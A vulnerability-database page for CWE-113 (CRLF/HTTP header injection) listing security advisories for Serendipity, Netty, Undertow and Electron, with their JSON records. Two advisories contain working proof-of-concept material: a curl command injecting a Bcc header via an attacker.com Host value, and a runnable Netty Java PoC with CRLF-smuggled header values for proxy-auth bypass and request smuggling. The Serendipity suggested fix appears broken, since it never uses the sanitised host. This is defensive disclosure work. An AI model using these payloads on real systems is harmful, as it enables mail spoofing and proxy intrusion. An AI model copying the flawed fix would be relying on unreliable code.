Common Weakness Enumeration

CWE-113

Allowed

Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')

Abstraction: Variant · Status: Incomplete

The product receives data from an HTTP agent/component (e.g., web server, proxy, browser, etc.), but it does not neutralize or incorrectly neutralizes CR and LF characters before the data is included in outgoing HTTP headers.

177 vulnerabilities reference this CWE, most recent first.

GHSA-458G-Q4FH-MJ6R

Vulnerability from github – Published: 2026-04-14 22:32 – Updated: 2026-04-27 15:02

Summary

Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header

Details

Summary

Serendipity inserts $_SERVER['HTTP_HOST'] directly into the Message-ID SMTP header without any validation beyond CRLF stripping. An attacker who can control the Host header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.

Details

In include/functions.inc.php:548:

$maildata['headers'][] = 'Message-ID: <' 
    . bin2hex(random_bytes(16)) 
    . '@' . $_SERVER['HTTP_HOST']  // ← unsanitized, attacker-controlled
    . '>';

The existing sanitization function only blocks \r\n and URL-encoded variants:

function serendipity_isResponseClean($d) {
    return (strpos($d, "\r") === false && strpos($d, "\n") === false 
        && stripos($d, "%0A") === false && stripos($d, "%0D") === false);
}

Critically, serendipity_isResponseClean() is not even called on HTTP_HOST before embedding it into the mail headers — making this exploitable with any character that SMTP interprets as a header delimiter.

Email is triggered by actions such as: - New comment notifications to blog owner - Comment subscription notifications to subscribers - Password reset emails (if configured)

PoC

# Trigger comment notification email with injected header
curl -s -X POST \
  -H "Host: attacker.com>\r\nBcc: victim@evil.com\r\nX-Injected:" \
  -d "serendipity[comment]=test&serendipity[name]=hacker&serendipity[email]=a@b.com&serendipity[entry_id]=1" \
  http://[TARGET]/comment.php

Resulting malicious Message-ID header in outgoing email:

Message-ID: <deadbeef@attacker.com>
Bcc: victim@evil.com
X-Injected: >

Impact

An attacker can control the domain portion of the Message-ID header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). This enables: - Identity spoofing — emails appear to originate from attacker-controlled domain - Reply hijacking — some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure - Email reputation abuse — attacker's domain embedded in legitimate mail headers

Suggested Fix

Sanitize HTTP_HOST before embedding in mail headers, and restrict to valid hostname characters only:

$safe_host = preg_replace('/[^a-zA-Z0-9.\-]/', '', 
    parse_url('http://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST)
);
$maildata['headers'][] = 'Message-ID: ';

Severity

7.2 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "s9y/serendipity"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.6.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-39971"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T22:32:38Z",
    "nvd_published_at": "2026-04-15T04:17:39Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nSerendipity inserts `$_SERVER[\u0027HTTP_HOST\u0027]` directly into the `Message-ID` SMTP header without any validation beyond CRLF stripping. An attacker who can control the `Host` header during an email-triggering action can inject arbitrary SMTP headers into outgoing emails, enabling spam relay, BCC injection, and email spoofing.\n\n### Details\nIn `include/functions.inc.php:548`:\n```php\n$maildata[\u0027headers\u0027][] = \u0027Message-ID: \u003c\u0027 \n    . bin2hex(random_bytes(16)) \n    . \u0027@\u0027 . $_SERVER[\u0027HTTP_HOST\u0027]  // \u2190 unsanitized, attacker-controlled\n    . \u0027\u003e\u0027;\n```\n\nThe existing sanitization function only blocks `\\r\\n` and URL-encoded variants:\n```php\nfunction serendipity_isResponseClean($d) {\n    return (strpos($d, \"\\r\") === false \u0026\u0026 strpos($d, \"\\n\") === false \n        \u0026\u0026 stripos($d, \"%0A\") === false \u0026\u0026 stripos($d, \"%0D\") === false);\n}\n```\n\nCritically, `serendipity_isResponseClean()` is **not even called** on `HTTP_HOST` before embedding it into the mail headers \u2014 making this exploitable with any character that SMTP interprets as a header delimiter.\n\nEmail is triggered by actions such as:\n- New comment notifications to blog owner\n- Comment subscription notifications to subscribers\n- Password reset emails (if configured)\n\n### PoC\n```bash\n# Trigger comment notification email with injected header\ncurl -s -X POST \\\n  -H \"Host: attacker.com\u003e\\r\\nBcc: victim@evil.com\\r\\nX-Injected:\" \\\n  -d \"serendipity[comment]=test\u0026serendipity[name]=hacker\u0026serendipity[email]=a@b.com\u0026serendipity[entry_id]=1\" \\\n  http://[TARGET]/comment.php\n```\nResulting malicious `Message-ID` header in outgoing email:\n```\nMessage-ID: \u003cdeadbeef@attacker.com\u003e\nBcc: victim@evil.com\nX-Injected: \u003e\n```\n\n### Impact\nAn attacker can control the domain portion of the `Message-ID` header in all outgoing emails sent by Serendipity (comment notifications, subscriptions). \nThis enables:\n- **Identity spoofing** \u2014 emails appear to originate from attacker-controlled domain\n- **Reply hijacking** \u2014 some mail clients use Message-ID for threading, pointing replies toward attacker infrastructure\n- **Email reputation abuse** \u2014 attacker\u0027s domain embedded in legitimate mail headers\n### Suggested Fix\nSanitize `HTTP_HOST` before embedding in mail headers, and restrict to valid hostname characters only:\n```php\n$safe_host = preg_replace(\u0027/[^a-zA-Z0-9.\\-]/\u0027, \u0027\u0027, \n    parse_url(\u0027http://\u0027 . $_SERVER[\u0027HTTP_HOST\u0027], PHP_URL_HOST)\n);\n$maildata[\u0027headers\u0027][] = \u0027Message-ID: \u0027;\n```",
  "id": "GHSA-458g-q4fh-mj6r",
  "modified": "2026-04-27T15:02:16Z",
  "published": "2026-04-14T22:32:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/s9y/Serendipity/security/advisories/GHSA-458g-q4fh-mj6r"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-39971"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/s9y/Serendipity"
    },
    {
      "type": "WEB",
      "url": "https://github.com/s9y/Serendipity/releases/tag/2.6.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Serendipity has a Host Header Injection allows SMTP header injection via unvalidated HTTP_HOST in Message-ID email header"
}

GHSA-45Q3-82M4-75JR

Vulnerability from github – Published: 2026-05-07 00:11 – Updated: 2026-05-14 20:40

Summary

Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)

Details

Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty

1. Vulnerability Summary

Field	Value
Product	Netty
Version	4.2.12.Final (and all prior versions)
Component	`io.netty.handler.proxy.HttpProxyHandler`
Vulnerability Type	CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers
Impact	HTTP Header Injection in CONNECT Proxy Requests
CVSS 3.1 Score	7.5 (High)
CVSS 3.1 Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N`
Related Advisory	GHSA-84h7-rjj3-6jx4 (Incomplete Fix)

2. Affected Components

io.netty.handler.proxy.HttpProxyHandler — newInitialMessage() method (line 176) explicitly disables header validation via withValidation(false)

3. Vulnerability Description

Netty's HttpProxyHandler constructs HTTP CONNECT requests with header validation explicitly disabled. The newInitialMessage() method (line 176) creates headers using DefaultHttpHeadersFactory.headersFactory().withValidation(false), then adds user-provided outboundHeaders (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.

Root Cause

// HttpProxyHandler.java:176-190
protected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {
    // ...
    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
        .withValidation(false);  // <-- VALIDATION EXPLICITLY DISABLED

    FullHttpRequest req = new DefaultFullHttpRequest(
        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

    req.headers().set(HttpHeaderNames.HOST, hostHeader);

    if (authorization != null) {
        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);
    }

    if (outboundHeaders != null) {
        req.headers().add(outboundHeaders);  // <-- USER HEADERS ADDED WITHOUT VALIDATION
    }

    return req;
}

The outboundHeaders parameter comes from the HttpProxyHandler constructor (lines 80-93, 99-127), which is supplied by application code.

Incomplete Fix of GHSA-84h7-rjj3-6jx4

This vulnerability represents an incomplete fix of the previously acknowledged security advisory GHSA-84h7-rjj3-6jx4.

The GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via validateRequestLineTokens() in DefaultHttpRequest and enabling header validation by default through DefaultHttpHeadersFactory. However, HttpProxyHandler explicitly opts out of the fix by calling withValidation(false), creating a gap where:

The GHSA-84h7-rjj3-6jx4 fix's header validation is bypassed
User-provided outboundHeaders are added without any CRLF check
The resulting CONNECT request contains unvalidated headers on the wire

This is not a new vulnerability class — it is the same CRLF injection that GHSA-84h7-rjj3-6jx4 was supposed to fix, but HttpProxyHandler was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.

4. Exploitability Prerequisites

This vulnerability is exploitable when:

An application uses HttpProxyHandler with user-influenced outboundHeaders
The application does not perform its own CRLF sanitization on header values

Common affected patterns: - HTTP proxy clients that forward user-specified custom headers - Web scraping frameworks that allow users to set proxy headers - API gateways that pass user headers through a proxy tunnel

5. Attack Scenarios

Scenario 1: Proxy Authentication Bypass

HttpHeaders headers = new DefaultHttpHeaders(false);
headers.set("X-Forwarded-For", userInput);  // userInput from attacker
new HttpProxyHandler(proxyAddr, headers);

Attack input: userInput = "1.2.3.4\r\nProxy-Authorization: Basic YWRtaW46YWRtaW4="

Wire format:

CONNECT target.com:443 HTTP/1.1
host: target.com:443
X-Forwarded-For: 1.2.3.4
Proxy-Authorization: Basic YWRtaW46YWRtaW4=    <-- INJECTED

The injected Proxy-Authorization header may override or supplement the original authentication, potentially granting access to a restricted proxy.

Scenario 2: Request Smuggling via Proxy

Attack input: userInput = "value\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /internal HTTP/1.1\r\nHost: internal-service"

Injects a full smuggled request through the proxy tunnel establishment.

6. Proof of Concept

Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)

import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.http.*;
import java.nio.charset.StandardCharsets;

public class HttpProxyHeaderInjectionPoC {
    public static void main(String[] args) {
        System.out.println("=== Netty HttpProxyHandler Header Injection PoC ===\n");

        // Simulate HttpProxyHandler.newInitialMessage() with validation=false
        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()
            .withValidation(false);

        FullHttpRequest req = new DefaultFullHttpRequest(
            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,
            "target.com:443",
            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);

        req.headers().set(HttpHeaderNames.HOST, "target.com:443");

        // Inject CRLF in header value
        String malicious = "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true";
        req.headers().set("X-Forwarded-For", malicious);

        // Encode to wire format
        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());
        ch.writeOutbound(req);
        ByteBuf out = ch.readOutbound();
        String encoded = out.toString(StandardCharsets.UTF_8);
        out.release();
        ch.finishAndReleaseAll();

        System.out.println("Wire format:");
        for (String line : encoded.split("\n", -1)) {
            System.out.println("  " + line.replace("\r", "\\r"));
        }
        System.out.println("Injected X-Admin: " + encoded.contains("X-Admin: true"));
        System.out.println("VULNERABLE: " +
            (encoded.contains("X-Admin: true") ? "YES" : "NO"));
    }
}

PoC Execution Output (Verified on Netty 4.2.12.Final)

=== Netty HttpProxyHandler Header Injection PoC ===

[TEST 1] outboundHeaders with CRLF (validation disabled)
----------------------------------------------------------
  Injected header value: "1.2.3.4\r\nX-Forwarded-For: 127.0.0.1\r\nX-Admin: true"
  Header accepted: YES (validation disabled!)
  Wire format:
    CONNECT target.com:443 HTTP/1.1\r
    host: target.com:443\r
    X-Forwarded-For: 1.2.3.4\r
    X-Forwarded-For: 127.0.0.1\r          <-- INJECTED
    X-Admin: true\r                        <-- INJECTED
    \r

  Injected X-Admin header in wire: true
  VULNERABLE: YES

[TEST 2] validation=true vs validation=false comparison
--------------------------------------------------------
  With validation=true:
    SAFE: Rejected - IllegalArgumentException
  With validation=false:
    VULNERABLE: Accepted CRLF in header value!
    Stored value contains CRLF: true

7. Remediation Recommendations

Option 1: Remove withValidation(false)

// Change HttpProxyHandler.java line 176 from:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);
// To:
HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();

Option 2: Validate outboundHeaders Before Adding

if (outboundHeaders != null) {
    for (Map.Entry<String, String> entry : outboundHeaders) {
        HttpUtil.validateHeaderValue(entry.getValue());
    }
    req.headers().add(outboundHeaders);
}

8. Resources

Severity

2.9 (Low)


                  
                    CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.132.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.133.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler-proxy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.13.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42578"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:11:40Z",
    "nvd_published_at": "2026-05-13T19:17:23Z",
    "severity": "LOW"
  },
  "details": "# Security Vulnerability Report: HTTP Header Injection via HttpProxyHandler Disabled Validation in Netty\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions) |\n| **Component** | `io.netty.handler.proxy.HttpProxyHandler` |\n| **Vulnerability Type** | CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers |\n| **Impact** | HTTP Header Injection in CONNECT Proxy Requests |\n| **CVSS 3.1 Score** | **7.5 (High)** |\n| **CVSS 3.1 Vector** | `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N` |\n| **Related Advisory** | **GHSA-84h7-rjj3-6jx4** (Incomplete Fix) |\n\n## 2. Affected Components\n\n- `io.netty.handler.proxy.HttpProxyHandler` \u2014 `newInitialMessage()` method (line 176) explicitly disables header validation via `withValidation(false)`\n\n## 3. Vulnerability Description\n\nNetty\u0027s `HttpProxyHandler` constructs HTTP CONNECT requests with **header validation explicitly disabled**. The `newInitialMessage()` method (line 176) creates headers using `DefaultHttpHeadersFactory.headersFactory().withValidation(false)`, then adds user-provided `outboundHeaders` (line 188-190) without any CRLF validation. This allows an attacker who can influence the outbound headers to inject arbitrary HTTP headers into the CONNECT request sent to the proxy server.\n\n### Root Cause\n\n```java\n// HttpProxyHandler.java:176-190\nprotected Object newInitialMessage(ChannelHandlerContext ctx) throws Exception {\n    // ...\n    HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n        .withValidation(false);  // \u003c-- VALIDATION EXPLICITLY DISABLED\n\n    FullHttpRequest req = new DefaultFullHttpRequest(\n        HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n        url, Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n    req.headers().set(HttpHeaderNames.HOST, hostHeader);\n\n    if (authorization != null) {\n        req.headers().set(HttpHeaderNames.PROXY_AUTHORIZATION, authorization);\n    }\n\n    if (outboundHeaders != null) {\n        req.headers().add(outboundHeaders);  // \u003c-- USER HEADERS ADDED WITHOUT VALIDATION\n    }\n\n    return req;\n}\n```\n\nThe `outboundHeaders` parameter comes from the `HttpProxyHandler` constructor (lines 80-93, 99-127), which is supplied by application code.\n\n### Incomplete Fix of GHSA-84h7-rjj3-6jx4\n\n**This vulnerability represents an incomplete fix of the previously acknowledged security advisory [GHSA-84h7-rjj3-6jx4](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4).**\n\nThe GHSA-84h7-rjj3-6jx4 fix addressed HTTP CRLF injection by adding URI validation via `validateRequestLineTokens()` in `DefaultHttpRequest` and enabling header validation by default through `DefaultHttpHeadersFactory`. However, `HttpProxyHandler` **explicitly opts out** of the fix by calling `withValidation(false)`, creating a gap where:\n\n1. The GHSA-84h7-rjj3-6jx4 fix\u0027s header validation is bypassed\n2. User-provided `outboundHeaders` are added without any CRLF check\n3. The resulting CONNECT request contains unvalidated headers on the wire\n\nThis is not a new vulnerability class \u2014 it is the **same CRLF injection** that GHSA-84h7-rjj3-6jx4 was supposed to fix, but `HttpProxyHandler` was missed during the remediation. The fix for GHSA-84h7-rjj3-6jx4 should be extended to cover this code path.\n\n## 4. Exploitability Prerequisites\n\nThis vulnerability is exploitable when:\n\n1. An application uses `HttpProxyHandler` with user-influenced `outboundHeaders`\n2. The application does not perform its own CRLF sanitization on header values\n\n**Common affected patterns**:\n- HTTP proxy clients that forward user-specified custom headers\n- Web scraping frameworks that allow users to set proxy headers\n- API gateways that pass user headers through a proxy tunnel\n\n## 5. Attack Scenarios\n\n### Scenario 1: Proxy Authentication Bypass\n\n```java\nHttpHeaders headers = new DefaultHttpHeaders(false);\nheaders.set(\"X-Forwarded-For\", userInput);  // userInput from attacker\nnew HttpProxyHandler(proxyAddr, headers);\n```\n\n**Attack input**: `userInput = \"1.2.3.4\\r\\nProxy-Authorization: Basic YWRtaW46YWRtaW4=\"`\n\n**Wire format**:\n```\nCONNECT target.com:443 HTTP/1.1\nhost: target.com:443\nX-Forwarded-For: 1.2.3.4\nProxy-Authorization: Basic YWRtaW46YWRtaW4=    \u003c-- INJECTED\n```\n\nThe injected `Proxy-Authorization` header may override or supplement the original authentication, potentially granting access to a restricted proxy.\n\n### Scenario 2: Request Smuggling via Proxy\n\n**Attack input**: `userInput = \"value\\r\\nTransfer-Encoding: chunked\\r\\n\\r\\n0\\r\\n\\r\\nGET /internal HTTP/1.1\\r\\nHost: internal-service\"`\n\nInjects a full smuggled request through the proxy tunnel establishment.\n\n## 6. Proof of Concept\n\n### Full Runnable PoC Source Code (HttpProxyHeaderInjectionPoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.channel.embedded.EmbeddedChannel;\nimport io.netty.handler.codec.http.*;\nimport java.nio.charset.StandardCharsets;\n\npublic class HttpProxyHeaderInjectionPoC {\n    public static void main(String[] args) {\n        System.out.println(\"=== Netty HttpProxyHandler Header Injection PoC ===\\n\");\n\n        // Simulate HttpProxyHandler.newInitialMessage() with validation=false\n        HttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory()\n            .withValidation(false);\n\n        FullHttpRequest req = new DefaultFullHttpRequest(\n            HttpVersion.HTTP_1_1, HttpMethod.CONNECT,\n            \"target.com:443\",\n            io.netty.buffer.Unpooled.EMPTY_BUFFER, headersFactory, headersFactory);\n\n        req.headers().set(HttpHeaderNames.HOST, \"target.com:443\");\n\n        // Inject CRLF in header value\n        String malicious = \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\";\n        req.headers().set(\"X-Forwarded-For\", malicious);\n\n        // Encode to wire format\n        EmbeddedChannel ch = new EmbeddedChannel(new HttpRequestEncoder());\n        ch.writeOutbound(req);\n        ByteBuf out = ch.readOutbound();\n        String encoded = out.toString(StandardCharsets.UTF_8);\n        out.release();\n        ch.finishAndReleaseAll();\n\n        System.out.println(\"Wire format:\");\n        for (String line : encoded.split(\"\\n\", -1)) {\n            System.out.println(\"  \" + line.replace(\"\\r\", \"\\\\r\"));\n        }\n        System.out.println(\"Injected X-Admin: \" + encoded.contains(\"X-Admin: true\"));\n        System.out.println(\"VULNERABLE: \" +\n            (encoded.contains(\"X-Admin: true\") ? \"YES\" : \"NO\"));\n    }\n}\n```\n\n### PoC Execution Output (Verified on Netty 4.2.12.Final)\n\n```\n=== Netty HttpProxyHandler Header Injection PoC ===\n\n[TEST 1] outboundHeaders with CRLF (validation disabled)\n----------------------------------------------------------\n  Injected header value: \"1.2.3.4\\r\\nX-Forwarded-For: 127.0.0.1\\r\\nX-Admin: true\"\n  Header accepted: YES (validation disabled!)\n  Wire format:\n    CONNECT target.com:443 HTTP/1.1\\r\n    host: target.com:443\\r\n    X-Forwarded-For: 1.2.3.4\\r\n    X-Forwarded-For: 127.0.0.1\\r          \u003c-- INJECTED\n    X-Admin: true\\r                        \u003c-- INJECTED\n    \\r\n\n  Injected X-Admin header in wire: true\n  VULNERABLE: YES\n\n[TEST 2] validation=true vs validation=false comparison\n--------------------------------------------------------\n  With validation=true:\n    SAFE: Rejected - IllegalArgumentException\n  With validation=false:\n    VULNERABLE: Accepted CRLF in header value!\n    Stored value contains CRLF: true\n```\n\n## 7. Remediation Recommendations\n\n### Option 1: Remove withValidation(false)\n\n```java\n// Change HttpProxyHandler.java line 176 from:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory().withValidation(false);\n// To:\nHttpHeadersFactory headersFactory = DefaultHttpHeadersFactory.headersFactory();\n```\n\n### Option 2: Validate outboundHeaders Before Adding\n\n```java\nif (outboundHeaders != null) {\n    for (Map.Entry\u003cString, String\u003e entry : outboundHeaders) {\n        HttpUtil.validateHeaderValue(entry.getValue());\n    }\n    req.headers().add(outboundHeaders);\n}\n```\n\n## 8. Resources\n\n- [GHSA-84h7-rjj3-6jx4: Netty HTTP CRLF Injection (**incomplete fix \u2014 this report**)](https://github.com/netty/netty/security/advisories/GHSA-84h7-rjj3-6jx4)\n- [CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers](https://cwe.mitre.org/data/definitions/113.html)",
  "id": "GHSA-45q3-82m4-75jr",
  "modified": "2026-05-14T20:40:54Z",
  "published": "2026-05-07T00:11:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-45q3-82m4-75jr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42578"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-84h7-rjj3-6jx4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty has HTTP Header Injection via HttpProxyHandler Disabled Validation (Incomplete Fix CVE-2025-67735)"
}

GHSA-47MP-RQ2X-WJF2

Vulnerability from github – Published: 2022-05-13 01:14 – Updated: 2022-06-30 13:49

Summary

Improper Neutralization of CRLF Sequences in HTTP Headers in Undertow

Details

In Undertow before versions 7.1.2.CR1, 7.1.2.GA it was found that the fix for CVE-2016-4993 was incomplete and Undertow web server is vulnerable to the injection of arbitrary HTTP headers, and also response splitting, due to insufficient sanitization and validation of user input before the input is used as part of an HTTP header value.

Severity

6.1 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 7.1.1.GA"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jboss.eap:wildfly-undertow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7.1.2.GA"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2018-1067"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-30T13:49:55Z",
    "nvd_published_at": "2018-05-21T17:29:00Z",
    "severity": "MODERATE"
  },
  "details": "In Undertow before versions 7.1.2.CR1, 7.1.2.GA it was found that the fix for CVE-2016-4993 was incomplete and Undertow web server is vulnerable to the injection of arbitrary HTTP headers, and also response splitting, due to insufficient sanitization and validation of user input before the input is used as part of an HTTP header value.",
  "id": "GHSA-47mp-rq2x-wjf2",
  "modified": "2022-06-30T13:49:55Z",
  "published": "2022-05-13T01:14:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-1067"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1247"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1248"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1249"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:1251"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2018:2643"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2019:0877"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-1067"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper Neutralization of CRLF Sequences in HTTP Headers in Undertow"
}

GHSA-4P4R-M79C-WQ3V

Vulnerability from github – Published: 2026-04-03 02:37 – Updated: 2026-04-06 23:10

Summary

Electron: HTTP Response Header Injection in custom protocol handlers and webRequest

Details

Impact

Apps that register custom protocol handlers via protocol.handle() / protocol.registerSchemesAsPrivileged() or modify response headers via webRequest.onHeadersReceived may be vulnerable to HTTP response header injection if attacker-controlled input is reflected into a response header name or value.

An attacker who can influence a header value may be able to inject additional response headers, affecting cookies, content security policy, or cross-origin access controls.

Apps that do not reflect external input into response headers are not affected.

Workarounds

Validate or sanitize any untrusted input before including it in a response header name or value.

Fixed Versions

41.0.3
40.8.3
39.8.3
38.8.6

For more information

If there are any questions or comments about this advisory, send an email to security@electronjs.org

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:H/A:N

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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "38.8.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "39.0.0-alpha.1"
            },
            {
              "fixed": "39.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "40.0.0-alpha.1"
            },
            {
              "fixed": "40.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "electron"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "41.0.0-alpha.1"
            },
            {
              "fixed": "41.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34767"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-113",
      "CWE-74"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T02:37:24Z",
    "nvd_published_at": "2026-04-04T00:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nApps that register custom protocol handlers via `protocol.handle()` / `protocol.registerSchemesAsPrivileged()` or modify response headers via `webRequest.onHeadersReceived` may be vulnerable to HTTP response header injection if attacker-controlled input is reflected into a response header name or value.\n\nAn attacker who can influence a header value may be able to inject additional response headers, affecting cookies, content security policy, or cross-origin access controls.\n\nApps that do not reflect external input into response headers are not affected.\n\n### Workarounds\nValidate or sanitize any untrusted input before including it in a response header name or value.\n\n### Fixed Versions\n* `41.0.3`\n* `40.8.3`\n* `39.8.3`\n* `38.8.6`\n\n### For more information\nIf there are any questions or comments about this advisory, send an email to [security@electronjs.org](mailto:security@electronjs.org)",
  "id": "GHSA-4p4r-m79c-wq3v",
  "modified": "2026-04-06T23:10:30Z",
  "published": "2026-04-03T02:37:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/electron/electron/security/advisories/GHSA-4p4r-m79c-wq3v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34767"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/electron/electron"
    }
  ],
